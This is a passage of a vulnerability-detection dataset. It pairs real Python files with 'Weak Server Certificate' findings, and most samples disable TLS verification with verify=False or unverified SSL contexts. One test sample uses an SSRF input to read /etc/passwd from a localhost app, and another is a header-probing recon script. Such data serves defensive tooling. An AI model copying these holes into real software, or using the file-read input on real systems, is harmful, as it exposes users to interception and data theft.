"eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "4739614f77e1aa8dbc374b9bc4e26d79b5636e1b67e42f218942a820a64c4720", "license": {"spdx": ["MIT"], "repo": "mrdulin/python-codelab", "path": "src/use-api/hack-news/hn_submissions.py", "repo_head_hexsha": "3d960a14a96b3a673b7dc2277d202069b1f8e778", "stack_hexsha": "8a0528c6211294a0057e81e20c097743edf87bf0", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 8, "entireCode": "import requests\nfrom operator import itemgetter\nimport os\n\nurl = 'https://hacker-news.firebaseio.com/v0/topstories.json'\n# /Users/ldu020/workspace/github.com/mrdulin/python-codelab/venv/lib/python3.7/site-packages/urllib3/connectionpool.py:1004: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings\n# InsecureRequestWarning,\nr = requests.get(url, verify=False)\nprint('Status code: ', r.status_code)\n\nsubmission_ids = r.json()\nsubmission_dicts = []\n\nfor submission_id in submission_ids[:30]:\n url = 'https://hacker-news.firebaseio.com/v0/item/' + \\\n str(submission_id) + '.json'\n submission_r = requests.get(url, verify=False)\n print(submission_r.status_code)\n response_dict = submission_r.json()\n submission_dict = {\n 'title': response_dict['title'],\n 'link': 'https://news.ycombinator.com/item?id=' + str(submission_id),\n 'comments': response_dict.get('descendants', 0)\n }\n submission_dicts.append(submission_dict)\n\nsubmission_dicts = sorted(submission_dicts, key=itemgetter('comments'))\n\nfor submission_dict in submission_dicts:\n print('\\nTitle: ', submission_dict['title'])\n print('Discussion Link: ', submission_dict['link'])\n print('Comments: ', submission_dict['comments'])", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6. requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9. ctx3 = ssl.create_default_context()\n10. ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13. ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6. requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9. ctx = ssl.create_default_context()\n10. ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13. ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14. ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 8, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "abb4c590f49de80f81b4fe566b315312d3f11e19c53cbd43d5b0fa2e3a60694d", "license": {"spdx": ["MIT"], "repo": "sebrink/SILVEROCELOT", "path": "test_folder/test_ssrf.py", "repo_head_hexsha": "c47dcd1f031007471d635d995b679ee85c1e5857", "stack_hexsha": "02933502a2b74069113e71566fd35e871b528fea", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 5, "entireCode": "import requests\n\ndef test_1_ssrf():\n params = {'username':'new', 'password':'', 'recap':''}\n page = requests.get('https://localhost/python/signin.py', params=params, verify=False)\n page.encoding = 'utf-8'\n cookiename = page.text.strip().split(';')[0].split('=')[0]\n cookievalue = page.text.strip().split(';')[0].split('=')[1]\n cookies = {cookiename: cookievalue}\n params = {'fileinlink':'file:///etc/passwd', 'videoname':'passwords', 'filein':' '}\n page = requests.get('https://localhost/python/upload.py', params=params, cookies=cookies, verify=False)\n page = requests.get('https://localhost/videos/new_passwords', cookies=cookies, verify=False)\n assert 'root' in page.text", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6. requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9. ctx3 = ssl.create_default_context()\n10. ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13. ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6. requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9. ctx = ssl.create_default_context()\n10. ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13. ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14. ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "ce5389ec3410ce3ab8b7e29b5ab78d83575daea1e34b34e49cf86e8af8da6398", "license": {"spdx": ["Apache-2.0"], "repo": "upenderadepu/crimson", "path": "scripts/crimson_rewriter.py", "repo_head_hexsha": "00916e4adf63f870b85af00ba40541fef0631204", "stack_hexsha": "1245bbd1dd0070edda1f1118b84ba327c68e04c8", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 58, "entireCode": "# coding: utf-8\n#\n#\n### CREATED BY KARMAZ\n#\n### FUNCTIONS\n#\n# 1. CHECK IF X-Original-Url AND X-Rewrite-Url IS HANDLED BY THE SERVER\n#\n###\n\nimport sys, getopt, requests, urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\nfrom tqdm import tqdm\n\n### OPTIONS ---\nargument_list = sys.argv[1:]\nshort_options = \"w:c:H:o:h\"\nlong_options = [\"wordlist\", \"cookies\", \"header\", \"output\", \"help\"]\ntry:\n arguments, values = getopt.getopt(argument_list, short_options, long_options)\nexcept getopt.error as err:\n print(err)\n sys.exit(2)\n### --- (They will be iterated at the bottom of the screen ---\n\ndef helper():\n '''Print usage in case of wrong options or arguments being used'''\n print(\"\"\"\\033[0;31m\n██████╗ ███████╗██╗ ██╗██████╗ ██╗████████╗███████╗██████╗ \n██╔══██╗██╔════╝██║ ██║██╔══██╗██║╚══██╔══╝██╔════╝██╔══██╗\n██████╔╝█████╗ ██║ █╗ ██║██████╔╝██║ ██║ █████╗ ██████╔╝\n██╔══██╗██╔══╝ ██║███╗██║██╔══██╗██║ ██║ ██╔══╝ ██╔══██╗\n██║ ██║███████╗╚███╔███╔╝██║ ██║██║ ██║ ███████╗██║ ██║\n╚═╝ ╚═╝╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝\\033[0m\"\"\")\n print(\"\\nUSAGE: python crimson_rewriter.py -w [wordlist_with_urls] -H [headers] -c [Cookie: a=1;] -h [show_help]\")\n\ndef load_wordlist(wordlist_filepath):\n '''Importing wordlist line by line into an array'''\n with open(wordlist_filepath) as f:\n new_wordlist = [\",\".join(line.split(\",\")).strip() for line in f.readlines()]\n return new_wordlist\n\ndef import_cookies(cookie):\n '''Importing cookies from header f.e. \"Cookie: auth1=qwe; auth2=asd;\" '''\n cookies = {}\n #cookie_header = cookie.split(\":\")[0]\n cookie_values = cookie.split(\":\")[1].split(\";\")[:-1]\n for q in cookie_values:\n cookies.update(dict([q.lstrip().split(\"=\")]))\n return cookies\n\ndef rewriter_check(urls,headers,cookies):\n output_list = []\n print(\"\\033[0;31m [+]\\033[0m REWRITER PROGRESS\")\n for url in tqdm(urls):\n try:\n r1 = requests.get(url.rstrip(), verify=False)\n r2 = requests.get(url.rstrip(), verify=False, headers={'X-Original-Url':'/doesnotextist123'})\n r3 = requests.get(url.rstrip(), verify=False, headers={'X-Rewrite-Url':'/doesnotexist321'})\n if r1.status_code != r2.status_code:\n output_list.append(\"[+] ORIGINAL HEADER FOUND: \" + r2.url)\n elif r1.status_code != r3.status_code:\n output_list.append(\"[+] REWRITE HEADER FOUND: \" + r1.url)\n except KeyboardInterrupt:\n sys.exit(0)\n except:\n pass\n return output_list\n\n\ndef logs_saver(logs_list, logs_name):\n with open(logs_name, 'w') as f:\n for log in logs_list:\n print >> f, log\n\n\n### OPTIONS ---\nheaders = {}\ncookies ={}\nshow_help = False\ntry: logs_name\nexcept NameError: logs_name = None\nfor current_argument, current_value in arguments:\n if current_argument in (\"-w\", \"--wordlist\"):\n list_of_urls = current_value\n elif current_argument in (\"-c\", \"--cookies\"):\n cookies = current_value\n elif current_argument in (\"-H\", \"--header\"):\n headers.update([current_value.split(\"=\")])\n elif current_argument in (\"-o\", \"--output\"):\n output = current_value\n elif current_argument in (\"-h\", \"--help\"):\n show_help = True\n\n\n### MAIN\nif __name__ == '__main__':\n if show_help:\n helper()\n else:\n urls = load_wordlist(list_of_urls)\n if cookies:\n cookies = import_cookies(cookies)\n output_list = rewriter_check(urls, headers, cookies)\n if logs_name is not None:\n logs_saver(output_list, logs_name)\n else:\n for element in output_list:\n print(element.rstrip())", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6. requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9. ctx3 = ssl.create_default_context()\n10. ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13. ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6. requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9. ctx = ssl.create_default_context()\n10. ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13. ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14. ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 58, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "e9e4d26846cdc18635407e16b21a6cc955f33550b96a1aef33a74f8f5f990487", "license": {"spdx": ["MIT"], "repo": "vahini01/electoral_rolls", "path": "tools/utils.py", "repo_head_hexsha": "82e42a6ee68844b1c8ac7899e8e7bf7a24e48d44", "stack_hexsha": "d9a268f19adc7700cf1335eb9dfc2c8d74c5a4dc", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 21, "entireCode": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 10 23:28:58 2017\n\n@author: dhingratul\n\"\"\"\nimport urllib.request\nimport os\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import Select\nfrom bs4 import BeautifulSoup\nimport ssl\nimport requests\nimport wget\nfrom PyPDF2 import PdfFileReader\n\n\ndef download_file(pdf_url, mdir, filename, flag=False):\n if flag is True:\n context = ssl._create_unverified_context()\n response = urllib.request.urlopen(pdf_url, context=context)\n else:\n response = urllib.request.urlopen(pdf_url)\n\n filename = mdir + filename\n file = open(filename, 'wb')\n file.write(response.read())\n if os.stat(filename).st_size == 0:\n flag = 0\n else:\n flag = 1\n file.close()\n return flag\n\n\ndef download_file_R(pdf_url, mdir, filename, file_out):\n requests.packages.urllib3.disable_warnings()\n while True: # Keep trying until the webpage successfully downloads\n try:\n r = requests.get(pdf_url, verify=False, timeout=10)\n break # If it downloads, get out and get on with life\n # If it doesn't download after the timeout period, an exceptions is thrown, and we try again\n except requests.exceptions.RequestException as e:\n with open(file_out, \"a\") as myfile:\n myfile.write(pdf_url + '\\n')\n\n filename = mdir + filename\n with open(filename, 'wb') as f:\n f.write(r.content)\n if os.stat(filename).st_size == 0:\n flag = 0\n else:\n flag = 1\n\n return flag\n\n\ndef download_file_W(pdf_url, mdir, filename, flag=False):\n filename = mdir + filename\n ssl._create_default_https_context = ssl._create_unverified_context\n wget.download(pdf_url, filename)\n if os.stat(filename).st_size == 0:\n flag = 0\n else:\n flag = 1\n return flag\n\n\ndef getDriver(url):\n driver = webdriver.Chrome()\n driver.get(url)\n return driver\n\n\ndef is_valid_pdf(fn):\n \"\"\"Check is the PDF valid \"\"\"\n try:\n with open(fn, 'rb') as f:\n pdf = PdfFileReader(f)\n numpages = pdf.numPages\n return (numpages > 0)\n except Exception as e:\n return False", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6. requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9. ctx3 = ssl.create_default_context()\n10. ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13. ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6. requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9. ctx = ssl.create_default_context()\n10. ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13. ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14. ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 20, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "20"}}, {"lineNo": 21, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "4d99a3070db4b97b9340205feb2ee89e33bf24e0e3e4c55be563e28c25d5ac6c", "license": {"spdx": ["BSD-3-Clause"], "repo": "FZJ-JSC/jupyter-jsc-jupyterhub-collection", "path": "j4j_handler/api_token_handler/j4j_api_token.py", "repo_head_hexsha": "3fbb83da6e356df57bbdd24269157944f7fcd2a5", "stack_hexsha": "2b5e05f42038359b8b6d7bc3e1f4fce4a8ff9ec7", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 80, "entireCode": "'''\nCreated on May 10, 2019\n\n@author: kreuzer\n'''\nimport json\nimport uuid\nimport base64\nimport time\nimport requests\nimport os\n\nfrom contextlib import closing\n\nfrom jupyterhub.orm import APIToken, User\nfrom jupyterhub.apihandlers.base import APIHandler\n\nclass J4J_APITokenHandler(APIHandler):\n async def get(self, username, server_name=''): # @UnusedVariable\n uuidcode = self.request.headers.get('uuidcode', None)\n if not uuidcode:\n uuidcode = uuid.uuid4().hex\n with open(os.environ.get('HUB_TOKEN_PATH', ''), 'r') as f:\n intern_token = f.read().rstrip()\n if self.request.headers.get('Intern-Authorization', '') != intern_token:\n self.log.warning(\"uuidcode={} - Could not validate Intern-Authorization\".format(uuidcode))\n self.set_status(401)\n return\n self.log.debug(\"uuidcode={} - GetToken for servername={}\".format(uuidcode, server_name))\n user = None\n try:\n if 'Authorization' in self.request.headers.keys():\n s = self.request.headers.get('Authorization').split()\n found = APIToken.find(self.db, token=s[1])\n if found is not None:\n user = self._user_from_orm(found.user)\n except:\n self.log.debug(\"uuidcode={} - Could not find user for this token: {}\".format(uuidcode, self.request.headers.get('Authorization', '')))\n #if not user:\n # user = self.find_user(username)\n if user:\n self.set_header('Content-Type', 'text/plain')\n self.set_status(201)\n self.log.debug(\"UID={} - uuidcode={} - load accesstoken from database.\".format(user.name, uuidcode))\n db_user = user.db.query(User).filter(User.name == user.name).first()\n if db_user:\n user.db.refresh(db_user)\n user.encrypted_auth_state = db_user.encrypted_auth_state\n state = await user.get_auth_state()\n token = { 'accesstoken': state.get('accesstoken'), 'refreshtoken': state.get('refreshtoken'), 'expire': state.get('expire') }\n if self.request.headers.get('renew', 'False').lower() == 'true':\n if int(token.get('expire')) - time.time() < 480:\n try:\n self.log.debug(\"uuidcode={} - UID={} - Try to update accesstoken\".format(uuidcode, user.name))\n with open(user.authenticator.unity_file, 'r') as f:\n unity = json.load(f)\n if state.get('login_handler') == 'jscldap':\n b64key = base64.b64encode(bytes('{}:{}'.format(unity[user.authenticator.jscldap_token_url]['client_id'], unity[user.authenticator.jscldap_token_url]['client_secret']), 'utf-8')).decode('utf-8')\n data = {'refresh_token': token.get('refreshtoken'),\n 'grant_type': 'refresh_token',\n 'scope': ' '.join(unity[user.authenticator.jscldap_token_url]['scope'])}\n url = user.authenticator.jscldap_token_url\n info_url = unity[user.authenticator.jscldap_token_url]['links']['tokeninfo']\n elif state.get('login_handler') == 'jscusername':\n b64key = base64.b64encode(bytes('{}:{}'.format(unity[user.authenticator.jscusername_token_url]['client_id'], unity[user.authenticator.jscusername_token_url]['client_secret']), 'utf-8')).decode('utf-8')\n data = {'refresh_token': token.get('refreshtoken'),\n 'grant_type': 'refresh_token',\n 'scope': ' '.join(unity[user.authenticator.jscusername_token_url]['scope'])}\n url = user.authenticator.jscusername_token_url\n info_url = unity[user.authenticator.jscusername_token_url]['links']['tokeninfo']\n accesstoken = token.get('accesstoken')\n expire = token.get('expire')\n headers = {'Authorization': 'Basic {}'.format(b64key),\n 'Accept': 'application/json'}\n with closing(requests.post(url, headers=headers, data=data, verify=False)) as r:\n if r.status_code == 200:\n accesstoken = r.json().get('access_token')\n else:\n self.log.warning(\"uuidcode={} - UID={} - Could not update accesstoken: {} {}\".format(uuidcode, user.name, r.status_code, r.text))\n with closing(requests.get(info_url, headers={ 'Authorization': 'Bearer {}'.format(accesstoken) }, verify=False)) as r:\n if r.status_code == 200:\n expire = r.json().get('exp')\n else:\n self.log.warning(\"uuidcode={} - UID={} - Could not receive token information: {} {}\".format(uuidcode, user.name, r.status_code, r.text))\n state['accesstoken'] = accesstoken\n state['expire'] = expire\n await user.save_auth_state(state)\n token['accesstoken'] = accesstoken\n token['expire'] = expire\n except:\n self.log.exception(\"uuidcode={} - UID={} - Could not update accesstoken\".format(uuidcode, user.name))\n if self.request.headers.get('accounts', 'False').lower() == 'true':\n token['oauth_user'] = state.get('oauth_user')\n self.write(json.dumps(token))\n self.flush()\n else:\n self.set_status(404)\n self.write(\"User with token {} not found\".format(self.request.headers.get('Authorization', None)))\n self.flush()\n return\n\n async def post(self, username, server_name=''):\n uuidcode = self.request.headers.get('uuidcode', None)\n if not uuidcode:\n uuidcode = uuid.uuid4().hex\n self.log.debug(\"uuidcode={} - PostToken for servername={}\".format(uuidcode, server_name))\n with open(os.environ.get('HUB_TOKEN_PATH', ''), 'r') as f:\n intern_token = f.read().rstrip()\n if self.request.headers.get('Intern-Authorization', '') != intern_token:\n self.log.warning(\"uuidcode={} - Could not validate Intern-Authorization\".format(uuidcode))\n self.set_status(401)\n return\n data = self.request.body.decode(\"utf8\")\n self.set_header('Content-Type', 'text/plain')\n if not data:\n self.set_status(400)\n self.write(\"Please send the token in the body as json: { \\\"accesstoken\\\": \\\"...\\\", \\\"expire\\\": \\\"...\\\" }\")\n self.flush()\n return\n user = None\n if 'Authorization' in self.request.headers.keys():\n s = self.request.headers.get('Authorization').split()\n found = APIToken.find(self.db, token=s[1])\n if found is not None:\n user = self._user_from_orm(found.user)\n if not user:\n user = self.find_user(username)\n if user:\n data_json = json.loads(data)\n try:\n self.log.debug(\"uuidcode={} - UID={} - update accesstoken in database.\".format(uuidcode, user.name))\n db_user = user.db.query(User).filter(User.name == user.name).first()\n if db_user:\n user.db.refresh(db_user)\n user.encrypted_auth_state = db_user.encrypted_auth_state\n state = await user.get_auth_state()\n state['accesstoken'] = data_json['accesstoken']\n state['expire'] = data_json['expire']\n await user.save_auth_state(state)\n except KeyError as e:\n self.set_status(400)\n self.write(\"Key {} missing\".format(str(e)))\n self.flush()\n return\n self.set_header('Content-Type', 'text/plain')\n self.set_status(201)\n else:\n self.set_status(404)\n self.write(\"User with token {} not found\".format(self.request.headers.get('Authorization', None)))\n self.flush()\n return", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6. requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9. ctx3 = ssl.create_default_context()\n10. ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13. ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6. requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9. ctx = ssl.create_default_context()\n10. ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13. ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14. ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 52, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "52"}}, {"lineNo": 80, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "6e92f43006c5fe837b05dfaeee745c918e00332f522baefc3d46047dbd83f3d3", "license": {"spdx": ["MIT"], "repo": "Valuebai/awesome-python-io", "path": "project-run/imooc_auto_api/base/configHttp.py", "repo_head_hexsha": "8bb3400036843975cb41cbfd85ccfe603596930b", "stack_hexsha": "a11059ec716aec3cded8d444a0db08968afe229b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 42, "entireCode": "#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n'''=================================================\n@IDE :PyCharm\n@Author :Valuebai\n@Date :2020/2/1 18:21\n@Desc :封装requests请求get和post\n使用from runmethod import RunMethod 来实例化对象进行使用\n\n\n\n# 不同:get用于获取数据,post用于修改数据\n\n两者传递参数的方式也有不一样\n- get是直接在url里通过?来连接参数\n- post则是把数据放在HTTP的包体内(request body)\n\n# 相同:两者的本质就是TCP链接,并无差别\n=================================================='''\nimport requests\nimport json\n\n\n# from common.logConf import logger\n\n\nclass RunMethod:\n\n # 定义requests的post函数\n def send_post(self, url, data, header=None):\n res = None\n if header != None:\n res = requests.post(url=url, data=data, headers=header)\n else:\n res = requests.post(url=url, data=data)\n return res.json()\n\n # 定义requests的get函数\n def send_get(self, url, data=None, header=None):\n res = None\n if header != None:\n res = requests.get(url=url, data=data, headers=header, verify=False) # 忽略对 SSL 证书的验证\n else:\n res = requests.get(url=url, data=data, verify=False) # 忽略对 SSL 证书的验证\n return res.json()\n\n # 封装requests执行主函数\n def run_main(self, method, url, data=None, header=None):\n res = None\n method = method.upper() # 将请求方式转为大写,防止写错为get\n\n if method == 'POST':\n res = self.send_post(url, data, header)\n elif method == 'GET':\n res = self.send_get(url, data, header)\n else:\n print('您输入的method不对,只能处理GET和POST的')\n return json.dumps(res, ensure_ascii=False)\n\n\nif __name__ == \"__main__\":\n # logger.info('INFO日志打印...')\n test = RunMethod()\n test = RunMethod()\n url = 'http://httpbin.org/post'\n data = {'key': 'value'}\n result = test.run_main('POST', url, data=data)\n print('POST:', result)\n print('GET:', test.run_main('GET', 'http://httpbin.org/get'))\n", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6. requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9. ctx3 = ssl.create_default_context()\n10. ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13. ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6. requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9. ctx = ssl.create_default_context()\n10. ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13. ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14. ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set 